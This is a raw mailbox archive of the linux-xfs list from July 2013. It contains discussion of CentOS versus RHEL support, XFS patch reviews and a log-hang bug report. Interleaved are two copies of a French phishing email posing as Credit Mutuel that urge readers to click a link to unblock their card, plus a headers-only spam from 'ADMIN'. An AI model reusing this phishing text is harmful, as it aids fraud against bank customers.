<21422056.2320.1374867822351.JavaMail.root@benjamin.baylink.com> X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) In-Reply-To: <21422056.2320.1374867822351.JavaMail.root@benjamin.baylink.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1374897142 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/26/2013 2:43 PM, Jay Ashworth wrote: > But to address your specific point, I don't believe that RH is going to > base its opinion on what time its employees spend supporting the remainder > of the FOSS ecosystem on whether the relevant distro was copied from theirs, > or not -- and I will be disappointed, publicly, and vocally, if they do. On 7/26/2013 8:26 PM, Dave Chinner wrote: > > Disclaimer: I'm the primary RHEL XFS developer, employed by Red Hat. > > CentOS is a rebadged RHEL product that is released for free. If you > want bugs fixed in CentOS, then generally you are on your own. If > you want paid support where people will fix problems you have, you > need to pay for RHEL. > > You get what you pay for. Jay, I'm awaiting your public and vocal disappointment. BTW, Dave has stated this position regarding CentOS many times. I'm guessing you're new to the XFS list (July 13 maybe) or simply missed such prior posts if you've been lurking much longer. -- Stan From sgi-linux-xfs@m.gmane.org Fri Jul 26 23:28:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 16CCA29E10 for ; Fri, 26 Jul 2013 23:28:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 94483AC002 for ; Fri, 26 Jul 2013 21:28:40 -0700 (PDT) X-ASG-Debug-ID: 1374899317-04cb6c2e9f103d80001-w1Z2WR Received: from plane.gmane.org (plane.gmane.org [80.91.229.3]) by cuda.sgi.com with ESMTP id yCZI0CFp1YKdgghf (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 26 Jul 2013 21:28:38 -0700 (PDT) X-Barracuda-Envelope-From: sgi-linux-xfs@m.gmane.org X-Barracuda-Apparent-Source-IP: 80.91.229.3 Received: from list by plane.gmane.org with local (Exim 4.69) (envelope-from ) id 1V2w7R-0001sX-AK for linux-xfs@oss.sgi.com; Sat, 27 Jul 2013 06:28:37 +0200 Received: from wombat.san-francisco.ca.us ([75.101.60.140]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 27 Jul 2013 06:28:37 +0200 Received: from kkeller by wombat.san-francisco.ca.us with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 27 Jul 2013 06:28:37 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: linux-xfs@oss.sgi.com From: Keith Keller Subject: Re: understanding speculative preallocation Date: Fri, 26 Jul 2013 21:26:11 -0700 X-ASG-Orig-Subj: Re: understanding speculative preallocation Lines: 19 Message-ID: <3oubcax643.ln2@goaway.wombat.san-francisco.ca.us> References: <1374823420041-35002.post@n7.nabble.com> <20130726115021.GO13468@dastard> <51F2CD8B.8080207@hardwarefreak.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: wombat.san-francisco.ca.us User-Agent: slrn/0.9.9p1 (Linux) X-Barracuda-Connect: plane.gmane.org[80.91.229.3] X-Barracuda-Start-Time: 1374899318 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137340 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2013-07-26, Stan Hoeppner wrote: > Either pay for and receive the support that's required for the > proprietary distribution you're running, or use a completely open source > distro based on mainline kernel source and GNU user space. Couldn't you simply run a mainline kernel on CentOS? elrepo supports both the mainline kernel and the longterm kernel. http://elrepo.org/tiki/kernel-ml http://elrepo.org/tiki/kernel-lt It's not perfect, of course, but at least it's closer to what the XFS developers (RH employees and others) are working on. --keith -- kkeller@wombat.san-francisco.ca.us From 1864@creditmutuel.fr Sat Jul 27 00:46:22 2013 Return-Path: <1864@creditmutuel.fr> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,WEIRD_PORT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0A9F47F78 for ; Sat, 27 Jul 2013 00:46:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id AFB3F30407F for ; Fri, 26 Jul 2013 22:46:21 -0700 (PDT) X-ASG-Debug-ID: 1374903977-04bdf02f211113a0001-NocioJ Received: from smtp-gw11.han.skanova.net (smtp-gw11.han.skanova.net [81.236.55.20]) by cuda.sgi.com with ESMTP id h7COuynaxDiU3IVm for ; Fri, 26 Jul 2013 22:46:18 -0700 (PDT) X-Barracuda-Envelope-From: 1864@creditmutuel.fr X-Barracuda-Apparent-Source-IP: 81.236.55.20 Received: from [192.168.20.10] (217.209.4.92) by smtp-gw11.han.skanova.net (8.5.133) id 516D05D2021B8270; Sat, 27 Jul 2013 07:46:03 +0200 Message-ID: <516D05D2021B8270@smtp-gw11.han.skanova.net> (added by postmaster@pne.skanova.net) Content-Type: multipart/alternative; boundary="===============0525532852==" MIME-Version: 1.0 Subject: =?utf-8?q?Credit_Mutuel_-_Mesure_De_S=C3=A9curit=C3=A9?= To: Recipients <1864@creditmutuel.fr> X-ASG-Orig-Subj: =?utf-8?q?Credit_Mutuel_-_Mesure_De_S=C3=A9curit=C3=A9?= From: "Credit Mutuel" <1864@creditmutuel.fr> Date: Sat, 27 Jul 2013 07:44:48 +0200 X-Barracuda-Connect: smtp-gw11.han.skanova.net[81.236.55.20] X-Barracuda-Start-Time: 1374903978 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.00 X-Barracuda-Spam-Status: No, SCORE=1.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, HTML_MESSAGE, WEIRD_PORT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137340 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 WEIRD_PORT URI: Uses non-standard port number for HTTP 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address You will not see this in a MIME-aware mail reader. --===============0525532852== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body = = = Cher(e) Client(e), = = nous vous informant par la pr=E9sente que vous =EAtes obliger d'adh=E9rer = =E0 la nouvelle r=E9glementation concernant = = la s=E9curit=E9 pour les achats par carte sur internet, et de la mise en p= lace d'un blocage pour vos futures achats. = nous sommes au regret de vous informer que vous pouvez plus utiliser votre= carte sur internet qu'apr=E8s l'adh=E9sion =E0 la nouvelle r=E9glementatio= n. = = = Proc=E9dure : - Faites votre demande d'adh=E9sion en ligne = en cliquant ici = Merci de la confiance que vous nous t=E9moignez. cordialement, = = = Merci d'avoir examiner cette information et nous aider =E0 maintenir la = confidentialit=E9 de votre compte =20 --===============0525532852== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body  <= BR style=3D"PADDING-BOTTOM: 0px; WIDOWS: 2; TEXT-TRANSFORM: none; BACKGROUN= D-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; MARGIN: 0px; PADDING-LEFT: 0px= ; LETTER-SPACING: normal; PADDING-RIGHT: 0px; FONT: 11px Arial,Helvetica,sa= ns-serif; WHITE-SPACE: normal; ORPHANS: 2; COLOR: rgb(0,0,0); WORD-SPACING:= 0px; PADDING-TOP: 0px; font-size-adjust: none; font-stretch: normal"> =

    Cher(e) Client(e),


    nous vous informant par la pr=E9sente que vous =EAtes obliger d'adh=E9rer =E0 la nouvelle r=E9g= lementation concernant

    la s=E9curit=E9 pour les achats par carte sur internet, et de la mise en pl= ace d'un blocage pour vos futures achats.

    nous sommes au regret de vous informer que vous pouvez plus utiliser votre = carte sur internet qu'apr=E8s l'adh=E9sion =E0 la nouvelle r=E9glementation= .

     =

      &= nbsp;        Proc=E9dure  : -<= /FONT> Faites votre demande d'adh=E9sion en ligne  en cliquant ici
         =             &nb= sp;         

    =


    = Merci de la confiance que vous nous t=E9moign= ez.

    cordialement,<= SPAN class=3DApple-converted-space> 


     Merci = d'avoir examiner cette information et nous aider =E0 maint= enir la = confidentialit=E9 de votre compte

    --===============0525532852==-- From hostmailer_cm@e-i.com Sat Jul 27 08:10:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,WEIRD_PORT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 35C457F52 for ; Sat, 27 Jul 2013 08:10:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id EC2D68F8033 for ; Sat, 27 Jul 2013 06:10:31 -0700 (PDT) X-ASG-Debug-ID: 1374930627-04bdf02f2012cb10001-NocioJ Received: from smtp-gw11.han.skanova.net (smtp-gw11.han.skanova.net [81.236.55.20]) by cuda.sgi.com with ESMTP id kWfuyUUOk4cquz2F for ; Sat, 27 Jul 2013 06:10:27 -0700 (PDT) X-Barracuda-Envelope-From: hostmailer_cm@e-i.com X-Barracuda-Apparent-Source-IP: 81.236.55.20 Received: from [192.168.20.10] (217.209.4.92) by smtp-gw11.han.skanova.net (8.5.133) id 516D05D2021D46AA; Sat, 27 Jul 2013 15:09:42 +0200 Message-ID: <516D05D2021D46AA@smtp-gw11.han.skanova.net> (added by postmaster@pne.skanova.net) Content-Type: multipart/alternative; boundary="===============0980154149==" MIME-Version: 1.0 Subject: =?utf-8?q?Credit_Mutuel_-_Mesure_De_S=C3=A9curit=C3=A9?= To: Recipients X-ASG-Orig-Subj: =?utf-8?q?Credit_Mutuel_-_Mesure_De_S=C3=A9curit=C3=A9?= From: "Credit Mutuel" Date: Sat, 27 Jul 2013 15:08:28 +0200 X-Barracuda-Connect: smtp-gw11.han.skanova.net[81.236.55.20] X-Barracuda-Start-Time: 1374930627 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.00 X-Barracuda-Spam-Status: No, SCORE=1.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, HTML_MESSAGE, WEIRD_PORT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137341 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 WEIRD_PORT URI: Uses non-standard port number for HTTP 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address You will not see this in a MIME-aware mail reader. --===============0980154149== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body = = = Cher(e) Client(e), = = nous vous informant par la pr=E9sente que vous =EAtes obliger d'adh=E9rer = =E0 la nouvelle r=E9glementation concernant = = la s=E9curit=E9 pour les achats par carte sur internet, et de la mise en p= lace d'un blocage pour vos futures achats. = nous sommes au regret de vous informer que vous pouvez plus utiliser votre= carte sur internet qu'apr=E8s l'adh=E9sion =E0 la nouvelle r=E9glementatio= n. = = = Proc=E9dure : - Faites votre demande d'adh=E9sion en ligne = en cliquant ici = Merci de la confiance que vous nous t=E9moignez. cordialement, = = = Merci d'avoir examiner cette information et nous aider =E0 maintenir la = confidentialit=E9 de votre compte =20 --===============0980154149== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body  <= BR style=3D"PADDING-BOTTOM: 0px; WIDOWS: 2; TEXT-TRANSFORM: none; BACKGROUN= D-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; MARGIN: 0px; PADDING-LEFT: 0px= ; LETTER-SPACING: normal; PADDING-RIGHT: 0px; FONT: 11px Arial,Helvetica,sa= ns-serif; WHITE-SPACE: normal; ORPHANS: 2; COLOR: rgb(0,0,0); WORD-SPACING:= 0px; PADDING-TOP: 0px; font-size-adjust: none; font-stretch: normal"> =

    Cher(e) Client(e),


    nous vous informant par la pr=E9sente que vous =EAtes obliger d'adh=E9rer =E0 la nouvelle r=E9g= lementation concernant

    la s=E9curit=E9 pour les achats par carte sur internet, et de la mise en pl= ace d'un blocage pour vos futures achats.

    nous sommes au regret de vous informer que vous pouvez plus utiliser votre = carte sur internet qu'apr=E8s l'adh=E9sion =E0 la nouvelle r=E9glementation= .

     =

      &= nbsp;        Proc=E9dure  : -<= /FONT> Faites votre demande d'adh=E9sion en ligne  en cliquant ici
        = ;            &n= bsp;          
    =


    Merci de la confiance que vous nous t= =E9moignez.

    cordia= lement, 


     Merci = d'avoir examiner cette information et nous aider =E0 maint= enir la = confidentialit=E9 de votre compte

    --===============0980154149==-- From tinguely@sgi.com Sat Jul 27 12:54:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 857FC7F3F for ; Sat, 27 Jul 2013 12:54:05 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 56B618F8084; Sat, 27 Jul 2013 10:54:02 -0700 (PDT) Message-ID: <51F4093A.6070308@sgi.com> Date: Sat, 27 Jul 2013 12:54:02 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 20/49] xfs: introduce xfs_sb.c for sharing with libxfs References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-21-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-21-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > xfs_mount.c is shared with userspace, but the only functions that > are shared are to do with physical superblock manipulations. This > means that less than 25% of the xfs_mount.c code is actually shared > with userspace. Move all the superblock functions to xfs_sb.c and > share that instead with libxfs. > > Note that this will leave all the in-core transaction related > superblock counter modifications in xfs_mount.c as none of that is > shared with userspace. With a few more small changes, xfs_mount.h > won't need to be shared with userspace anymore, either. > > Signed-off-by: Dave Chinner > --- okay, moves the user sharable functions/headers from xfs_mount.c/h to xfs_sb.c/h couple comments: a struct xfs_mount got converted to a xfs_mount_t typedef in xfs_initialize_perag() def in xfs_mount.h brackets were added to a single line if statements in xfs_sb_quota_from_disk() beyond these two comments consider it: Reviewed-by: Mark Tinguely From tinguely@sgi.com Sat Jul 27 12:57:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0F5EA7F3F for ; Sat, 27 Jul 2013 12:57:44 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id DDADA8F8084; Sat, 27 Jul 2013 10:57:43 -0700 (PDT) Message-ID: <51F40A17.1040601@sgi.com> Date: Sat, 27 Jul 2013 12:57:43 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 21/49] xfs: create xfs_bmap_util.[ch] References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-22-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-22-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > There is a bunch of code in xfs_bmap.c that is kernel specific and > not shared with userspace. to minimise the difference between the > kernel and userspace code, shift this unshared code to > xfs_bmap_util.c, and the declarations to xfs_bmap_util.h. > > The biggest issue here is xfs_bmap_finish() - userspce has it's own > definition of this function, and so we need to move it out of > xfs_bmap.[ch]. This means several other files need to include > xfs_bmap_util.c as well. > > It also introduces and interesting dance for the stack switching > code in xfs_bmapi_allocate(). The stack switching/workqueue code is > actually moved to xfs_bmap_util.c, so that userspace can simply use > a #define in a header file to connect the dots without needing to > know about the stack switch code at all. > > Signed-off-by: Dave Chinner > --- okay, function structure moved with some white space and typedef to struct changes and some functions in xfs_bmap.c are needed in xfs_bmap_util.c so they are no longer static. Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Sat Jul 27 13:00:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 15F437F3F for ; Sat, 27 Jul 2013 13:00:43 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id CDB048F8084; Sat, 27 Jul 2013 11:00:42 -0700 (PDT) Message-ID: <51F40ACA.40601@sgi.com> Date: Sat, 27 Jul 2013 13:00:42 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 22/49] xfs: minor cleanups References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-23-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-23-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > These come from syncing the shared userspace and kernel code. Small > whitespace and trivial cleanups. > > Signed-off-by: Dave Chinner > --- okay, minor clean-ups Don't understand the change from min_t to min: > diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c > index 13a0ed9..b42926a 100644 > --- a/fs/xfs/xfs_attr_remote.c > +++ b/fs/xfs/xfs_attr_remote.c > @@ -251,7 +251,7 @@ xfs_attr_rmtval_copyout( > int hdr_size = 0; > int byte_cnt = XFS_ATTR3_RMT_BUF_SPACE(mp, XFS_LBSIZE(mp)); > > - byte_cnt = min_t(int, *valuelen, byte_cnt); > + byte_cnt = min(*valuelen, byte_cnt); > > if (xfs_sb_version_hascrc(&mp->m_sb)) { > if (!xfs_attr3_rmt_hdr_ok(mp, src, ino, *offset, but looks good: Reviewed-by: Mark Tinguely From tinguely@sgi.com Sat Jul 27 13:02:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A058F7F3F for ; Sat, 27 Jul 2013 13:02:36 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 71762304059; Sat, 27 Jul 2013 11:02:33 -0700 (PDT) Message-ID: <51F40B39.4030700@sgi.com> Date: Sat, 27 Jul 2013 13:02:33 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 23/49] xfs: fix issues that cause userspace warnings References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-24-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-24-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:24, Dave Chinner wrote: > From: Dave Chinner > > Some of the code shared with userspace causes compilation warnings > from things turned off in the kernel code, such as differences in > variable signedness. Fix those issues. > > Signed-off-by: Dave Chinner > --- Fix compiler signed/unsigned and unused variable issues. Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Sat Jul 27 13:32:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BACD67F3F for ; Sat, 27 Jul 2013 13:32:48 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 93E05304064; Sat, 27 Jul 2013 11:32:48 -0700 (PDT) Message-ID: <51F41250.9010703@sgi.com> Date: Sat, 27 Jul 2013 13:32:48 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: "Michael L. Semon" , xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> <51F2E011.5020904@gmail.com> <51F2E4DD.4020301@sgi.com> <20130727015822.GV13468@dastard> In-Reply-To: <20130727015822.GV13468@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/26/13 20:58, Dave Chinner wrote: > On Fri, Jul 26, 2013 at 04:06:37PM -0500, Mark Tinguely wrote: >> >> I can reproduce a problem in patch 44 too. It takes my copy test 20 >> minutes to deplete the log space with patch 44, Same test with patch >> 43 has been running a day and a half. I do not think that patch 44 >> is 100 times faster than patch 43 but I will let patch 43 spin all >> weekend on a couple machines to verify that patch 43 does not hang. > > Details, please. What's your "copy test"? > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > > Cheers, > > Dave. Micheal found the problem using a simple copy, so I am using copy-like test. I have hung patch 44 with fsstress but I am currently using the simple perl scripts from bugzilla bug 922, but I do not do the silly step of reducing the log to an abnormal amount. Just mkfs the filesystem Create the the test files. the creation script: http://oss.sgi.com/bugzilla/attachment.cgi?id=304 Run the test script: http://oss.sgi.com/bugzilla/attachment.cgi?id=305 ---- This test seems to stress the log much like xfstest 273 only it runs forever. I have a 32 bit machine: meta-data=/dev/sda4 isize=256 agcount=4, agsize=601152 blks = sectsz=512 attr=2 data = bsize=4096 blocks=2404608, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 log =internal bsize=4096 blocks=2560, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 and 64 bit machines with a little larger filesystems: meta-data=/dev/sdb2 isize=256 agcount=4, agsize=2622080 meta-data=/dev/sda2 isize=256 agcount=4, agsize=4194432 blks = sectsz=512 attr=2, projid32bit=1 = crc=0 data = bsize=4096 blocks=16777728, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 log =internal bsize=4096 blocks=8192, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 I am running patch 43, I know that patch 44 will hang in about 20 minutes. One 64 bit machine is at hour 50 on patch 43. Monday I will stop the test one of the machines and try to account for the log space. --Mark. From centraldoointe@zsem.hr Sat Jul 27 13:35:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EEDC77F3F for ; Sat, 27 Jul 2013 13:35:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 78358AC001 for ; Sat, 27 Jul 2013 11:35:42 -0700 (PDT) X-ASG-Debug-ID: 1374950139-04cbb02c3e13dca0001-NocioJ Received: from scmgateway.zsem.hr (scmgateway.zsem.hr [193.198.217.4]) by cuda.sgi.com with SMTP id UDgl4OyTMPk84RAG for ; Sat, 27 Jul 2013 11:35:40 -0700 (PDT) X-Barracuda-Envelope-From: centraldoointe@zsem.hr X-Barracuda-Apparent-Source-IP: 193.198.217.4 Received: from (mail.zsem.hr [193.198.217.24]) by scmgateway.zsem.hr with smtp id 51c2_33d5_9f3c1e22_f6ea_11e2_a725_000c29750000; Sat, 27 Jul 2013 20:30:33 +0200 Received: from localhost (localhost [127.0.0.1]) by mail.zsem.hr (Postfix) with ESMTP id 5E1024B9E4; Sat, 27 Jul 2013 20:33:52 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at mail.zsem.hr Received: from mail.zsem.hr ([127.0.0.1]) by localhost (mail.zsem.hr [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id NWvLXtweE7yu; Sat, 27 Jul 2013 20:33:52 +0200 (CEST) Received: from [10.184.19.101] (unknown [41.203.67.52]) by mail.zsem.hr (Postfix) with ESMTPSA id 500414B9C6; Sat, 27 Jul 2013 20:33:42 +0200 (CEST) Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: =?utf-8?b?VsOhxb5lbsO9IHXFvml2YXRlbGk=?= To: Recipients X-ASG-Orig-Subj: =?utf-8?b?VsOhxb5lbsO9IHXFvml2YXRlbGk=?= From: ADMIN Date: Sat, 27 Jul 2013 19:33:36 +0100 Reply-To: upgrade1@dgoh.org Message-Id: <20130727183352.5E1024B9E4@mail.zsem.hr> X-NAI-Spam-Flag: NO X-NAI-Spam-Threshold: 5.5 X-NAI-Spam-Score: -5000 X-NAI-Spam-Rules: 1 Rules triggered WHITELISTED=-5000 X-NAI-Spam-Version: 2.3.0.9362 : core <4652> : streams <1007307> : uri <1488823> X-Barracuda-Connect: scmgateway.zsem.hr[193.198.217.4] X-Barracuda-Start-Time: 1374950140 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 